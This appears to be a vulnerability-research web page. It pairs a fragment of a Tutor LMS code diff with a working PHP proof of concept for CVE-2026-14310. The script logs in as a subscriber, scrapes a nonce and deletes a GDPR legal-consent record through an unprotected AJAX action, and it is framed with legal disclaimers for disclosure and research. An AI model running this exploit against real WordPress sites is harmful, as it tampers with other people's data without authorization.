-		// include tutor()->path . 'views/pages/feature-promotion.php';
 	}

 	/**
 	 * Show students page
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function tutor_students() {
@@ -350,6 +459,7 @@
 	 * Show instructor page
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function tutor_instructors() {
@@ -360,6 +470,7 @@
 	 * Show announcements page
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function tutor_announcements() {
@@ -370,6 +481,7 @@
 	 * Show Q&A page
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function question_answer() {
@@ -380,6 +492,7 @@
 	 * Show quiz attempts page
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function quiz_attempts() {
@@ -390,6 +503,7 @@
 	 * Show the withdraw requests table
 	 *
 	 * @since 1.2.0
+	 *
 	 * @return void
 	 */
 	public function withdraw_requests() {
@@ -400,6 +514,7 @@
 	 * Enable or disable addons
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function enable_disable_addons() {
@@ -410,6 +525,7 @@
 	 * Tutor tools page (OLD)
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function tutor_tools_old() {
@@ -444,6 +560,7 @@
 	 * Show pro upgrade page
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function tutor_get_pro() {
@@ -456,6 +573,7 @@
 	 * @since 1.0.0
 	 *
 	 * @param string $parent_file parent file.
+	 *
 	 * @return string
 	 */
 	public function parent_menu_active( $parent_file ) {
@@ -495,6 +613,7 @@
 	 * Filter posts for instructor
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function filter_posts_for_instructors() {
@@ -510,6 +629,7 @@
 	 * @since 1.0.0
 	 *
 	 * @param mixed $clauses clauses.
+	 *
 	 * @return mixed
 	 */
 	public function posts_clauses_request( $clauses ) {
@@ -541,6 +661,7 @@
 	 * Prevent unauthorised course/lesson edit page by direct URL
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function check_if_current_users_post() {
@@ -581,6 +702,7 @@
 	 * @since 1.0.0
 	 *
 	 * @param string $template_path template file path.
+	 *
 	 * @return array
 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14310 - Tutor LMS – eLearning and online course solution < 4.0.0 - Missing Authorization

// This PoC demonstrates the unauthorized deletion of a legal consent
// by an authenticated user with only subscriber-level privileges.

$target_url = 'http://your-wordpress-site.com'; // Change this to the target site's URL
$subscriber_username = 'subscriber_user';
$subscriber_password = 'subscriber_password';

// Step 1: Login as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Get a valid nonce (example: from the admin page)
$admin_url = $target_url . '/wp-admin/options-general.php?page=tutor_settings';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract the nonce. This may need adjustment based on the actual nonce field name.
preg_match('/name="_wpnonce" value="([^"]+)"/', $admin_page, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Delete a legal consent (ID 1 here) via the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'tutor_gdpr_legal_consents',
    'crud_action' => 'delete',
    'id' => 1,
    '_wpnonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Output the response
if (strpos($response, 'deleted successfully') !== false) {
    echo "[+] Vulnerability exploited: Legal consent with ID 1 was deleted by a subscriber.n";
} else {
    echo "[-] Exploitation failed or nonce was invalid. Check nonce extraction or target site.n";
}

echo "Response: " . $response . "n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.